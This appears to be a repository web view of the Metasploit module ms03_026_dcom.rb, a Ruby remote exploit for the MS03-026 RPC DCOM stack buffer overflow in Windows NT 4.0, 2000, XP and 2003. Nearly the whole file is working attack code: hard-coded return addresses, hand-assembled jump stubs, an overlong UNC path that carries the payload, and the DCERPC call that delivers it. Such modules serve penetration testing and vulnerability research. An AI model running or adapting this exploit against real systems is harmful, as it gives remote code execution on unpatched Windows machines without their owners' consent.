root / modules / exploits / windows / dcerpc / ms03_026_dcom.rb @ master
History | View | Annotate | Download (6.5 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# Framework web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/framework/
|
| 10 |
##
|
| 11 |
|
| 12 |
require 'msf/core'
|
| 13 |
|
| 14 |
class Metasploit3 < Msf::Exploit::Remote |
| 15 |
Rank = GreatRanking |
| 16 |
|
| 17 |
include Msf::Exploit::Remote::DCERPC |
| 18 |
|
| 19 |
def initialize(info = {}) |
| 20 |
super(update_info(info,
|
| 21 |
'Name' => 'Microsoft RPC DCOM Interface Overflow', |
| 22 |
'Description' => %q{ |
| 23 |
This module exploits a stack buffer overflow in the RPCSS service, this vulnerability |
| 24 |
was originally found by the Last Stage of Delirium research group and has been |
| 25 |
widely exploited ever since. This module can exploit the English versions of |
| 26 |
Windows NT 4.0 SP3-6a, Windows 2000, Windows XP, and Windows 2003 all in one request :) |
| 27 |
},
|
| 28 |
'Author' => [ 'hdm', 'spoonm', 'cazz' ], |
| 29 |
'License' => MSF_LICENSE, |
| 30 |
'Version' => '$Revision$', |
| 31 |
'References' =>
|
| 32 |
[ |
| 33 |
[ 'CVE', '2003-0352' ], |
| 34 |
[ 'OSVDB', '2100' ], |
| 35 |
[ 'MSB', 'MS03-026' ], |
| 36 |
[ 'BID', '8205' ], |
| 37 |
], |
| 38 |
'Privileged' => true, |
| 39 |
'DefaultOptions' =>
|
| 40 |
{
|
| 41 |
'EXITFUNC' => 'thread' |
| 42 |
}, |
| 43 |
'Payload' =>
|
| 44 |
{
|
| 45 |
'Space' => 880, |
| 46 |
'MinNops' => 300, |
| 47 |
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e", |
| 48 |
'StackAdjustment' => -3500 |
| 49 |
}, |
| 50 |
'Targets' =>
|
| 51 |
[ |
| 52 |
# Target 0: Universal
|
| 53 |
[ |
| 54 |
'Windows NT SP3-6a/2000/XP/2003 Universal',
|
| 55 |
{
|
| 56 |
'Platform' => 'win', |
| 57 |
'Rets' =>
|
| 58 |
[ |
| 59 |
0x77f33723, # Windows NT 4.0 SP6a (esp) |
| 60 |
0x7ffde0eb, # Windows 2000 writable address + jmp+0xe0 |
| 61 |
0x010016c6, # Windows 2000 Universal (ebx) |
| 62 |
0x01001c59, # Windows XP SP0/SP1 (pop pop ret) |
| 63 |
0x001b0b0b, # Windows 2003 call near [ebp+0x30] (unicode.nls - thanks Litchfield!) |
| 64 |
0x776a240d, # Windows NT 4.0 SP5 (eax) ws2help.dll |
| 65 |
0x74ff16f3, # Windows NT 4.0 SP3/4 (pop pop ret) rnr20.dll |
| 66 |
], |
| 67 |
}, |
| 68 |
], |
| 69 |
], |
| 70 |
'DefaultTarget' => 0, |
| 71 |
'DisclosureDate' => 'Jul 16 2003')) |
| 72 |
end
|
| 73 |
|
| 74 |
def autofilter |
| 75 |
# Common vulnerability scanning tools report port 445/139
|
| 76 |
# due to how they test for the vulnerability. Remap this
|
| 77 |
# back to 135 for automated exploitation
|
| 78 |
|
| 79 |
rport = datastore['RPORT'].to_i
|
| 80 |
if ( rport == 139 or rport == 445 ) |
| 81 |
datastore['RPORT'] = 135 |
| 82 |
end
|
| 83 |
|
| 84 |
true
|
| 85 |
end
|
| 86 |
|
| 87 |
def exploit |
| 88 |
connect |
| 89 |
print_status("Trying target #{target.name}...")
|
| 90 |
|
| 91 |
handle = dcerpc_handle('4d9f4ab8-7d1c-11cf-861e-0020af6e7c57', '0.0', 'ncacn_ip_tcp', [datastore['RPORT']]) |
| 92 |
print_status("Binding to #{handle} ...")
|
| 93 |
dcerpc_bind(handle) |
| 94 |
print_status("Bound to #{handle} ...")
|
| 95 |
|
| 96 |
# Carefully create the combination of addresses and code for cross-os exploitation
|
| 97 |
xpseh = rand_text_alphanumeric(360, payload_badchars)
|
| 98 |
|
| 99 |
# Jump to [esp-4] - (distance to shellcode)
|
| 100 |
jmpsc = |
| 101 |
"\x8b\x44\x24\xfc" + # mov eax,[esp-0x4] |
| 102 |
"\x05\xe0\xfa\xff\xff" + # add eax,0xfffffae0 (sub eax, 1312) |
| 103 |
Rex::Arch::X86.jmp_reg('eax') # jmp eax |
| 104 |
|
| 105 |
# Jump to [ebp+0x30] - (distance to shellcode) - thanks again Litchfield!
|
| 106 |
jmpsc2k3 = |
| 107 |
"\x8b\x45\x30" + # mov eax,[ebp+0x30] |
| 108 |
"\x05\x24\xfb\xff\xff" + # add eax,0xfffffb24 (sub 1244) |
| 109 |
Rex::Arch::X86.jmp_reg('eax') # jmp eax |
| 110 |
|
| 111 |
# Windows 2003 added by spoonm
|
| 112 |
xpseh[ 246 - jmpsc2k3.length, jmpsc2k3.length ] = jmpsc2k3
|
| 113 |
xpseh[ 246, 2 ] = Rex::Arch::X86.jmp_short("$-#{jmpsc2k3.length}") |
| 114 |
xpseh[ 250, 4 ] = [ target['Rets'][4] ].pack('V') |
| 115 |
|
| 116 |
xpseh[ 306, 2 ] = Rex::Arch::X86.jmp_short('$+8') |
| 117 |
xpseh[ 310, 4 ] = [ target['Rets'][3] ].pack('V') |
| 118 |
xpseh[ 314, jmpsc.length ] = jmpsc
|
| 119 |
|
| 120 |
#
|
| 121 |
# NT 4.0 SP3/SP4 work the same, just use a pop/pop/ret that works on both
|
| 122 |
# NT 4.0 SP5 is a jmp eax to avoid a conflict with SP3/SP4
|
| 123 |
# HD wrote NT 4.0 SP6a, and it's off in a different place
|
| 124 |
#
|
| 125 |
# Our NT 4.0 SP3/SP4/SP5 overwrites will look something like this:
|
| 126 |
# (hopefully I'm accurate, this is from my memory...)
|
| 127 |
#
|
| 128 |
# |---pop pop ret-------- --eax---|
|
| 129 |
# V | | V
|
| 130 |
# [ jmp +17 ] [ ret sp3/4 ] [ ret sp5 ] [ jmpback sp5 ] [ jmpback sp3/4 ]
|
| 131 |
# 4 4 4 5 5
|
| 132 |
# | ^
|
| 133 |
# --------------------------------------------------|
|
| 134 |
# The jmpback's all are 5 byte backwards jumps into our shellcode that
|
| 135 |
# sits just below these overwrites...
|
| 136 |
#
|
| 137 |
|
| 138 |
nt4sp3jmp = Rex::Arch::X86.jmp_short("$+#{12 + 5}") + |
| 139 |
rand_text(2, payload_badchars)
|
| 140 |
|
| 141 |
nt4sp5jmpback = "\xe9" + [ ((5 + 4 + payload.encoded.length) * -1) ].pack('V') |
| 142 |
nt4sp3jmpback = "\xe9" + [ ((12 + 5 + 5 + payload.encoded.length) * -1) ].pack('V') |
| 143 |
ntshiz = |
| 144 |
nt4sp3jmp + |
| 145 |
[ target['Rets'][6] ].pack('V') + |
| 146 |
[ target['Rets'][5] ].pack('V') + |
| 147 |
nt4sp5jmpback + |
| 148 |
nt4sp3jmpback |
| 149 |
|
| 150 |
# Pad to the magic value of 118 bytes
|
| 151 |
ntshiz += rand_text(118 - ntshiz.length, payload_badchars)
|
| 152 |
|
| 153 |
# Create the evil UNC path used in the overflow
|
| 154 |
uncpath = |
| 155 |
Rex::Text.to_unicode("\\\\") + |
| 156 |
make_nops(32) +
|
| 157 |
|
| 158 |
# When attacking NT 4.0, jump over 2000/XP return
|
| 159 |
Rex::Arch::X86.jmp_short(16) + |
| 160 |
Rex::Arch::X86.jmp_short(25) + |
| 161 |
|
| 162 |
[ target['Rets'][2] ].pack('V') + # Return address for 2000 (ebx) |
| 163 |
[ target['Rets'][0] ].pack('V') + # Return address for NT 4.0 SP6 (esi) |
| 164 |
[ target['Rets'][1] ].pack('V') + # Writable address on 2000 and jmp for NT 4.0 |
| 165 |
make_nops(88) +
|
| 166 |
Rex::Arch::X86.jmp_short(4) + |
| 167 |
rand_text(4, payload_badchars) +
|
| 168 |
make_nops(8) +
|
| 169 |
Rex::Arch::X86.jmp_short(4) + |
| 170 |
Rex::Arch::X86.jmp_short(4) + |
| 171 |
make_nops(4) +
|
| 172 |
Rex::Arch::X86.jmp_short(4) + |
| 173 |
rand_text(4, payload_badchars) +
|
| 174 |
payload.encoded + |
| 175 |
ntshiz + |
| 176 |
xpseh + |
| 177 |
Rex::Text.to_unicode("\\\x00") |
| 178 |
|
| 179 |
# This is the rpc cruft needed to trigger the vuln API
|
| 180 |
stubdata = |
| 181 |
NDR.short(5) + |
| 182 |
NDR.short(1) + |
| 183 |
NDR.long(0) + |
| 184 |
NDR.long(0) + |
| 185 |
|
| 186 |
rand_text(16) +
|
| 187 |
|
| 188 |
NDR.long(0) + |
| 189 |
NDR.long(0) + |
| 190 |
NDR.long(0) + |
| 191 |
NDR.long(0) + |
| 192 |
NDR.long(0) + |
| 193 |
|
| 194 |
NDR.long(rand(0xFFFFFFFF)) + |
| 195 |
|
| 196 |
NDR.UnicodeConformantVaryingStringPreBuilt(uncpath) +
|
| 197 |
|
| 198 |
NDR.long(0) + |
| 199 |
NDR.long(rand(0xFFFFFFFF)) + |
| 200 |
NDR.long(rand(0xFFFFFFFF)) + |
| 201 |
|
| 202 |
NDR.long(1) + |
| 203 |
NDR.long(rand(0xFFFFFFFF)) + |
| 204 |
|
| 205 |
NDR.long(1) + |
| 206 |
NDR.long(rand(0xFFFFFFFF)) + |
| 207 |
NDR.long(rand(0xFFFFFFFF)) + |
| 208 |
NDR.long(rand(0xFFFFFFFF)) + |
| 209 |
NDR.long(rand(0xFFFFFFFF)) + |
| 210 |
|
| 211 |
NDR.long(1) + |
| 212 |
NDR.long(1) + |
| 213 |
NDR.long(rand(0xFFFFFFFF)) |
| 214 |
|
| 215 |
print_status('Sending exploit ...')
|
| 216 |
begin
|
| 217 |
dcerpc_call(0, stubdata, nil, false) |
| 218 |
rescue Rex::Proto::DCERPC::Exceptions::NoResponse |
| 219 |
end
|
| 220 |
|
| 221 |
handler |
| 222 |
disconnect |
| 223 |
end
|
| 224 |
|
| 225 |
end
|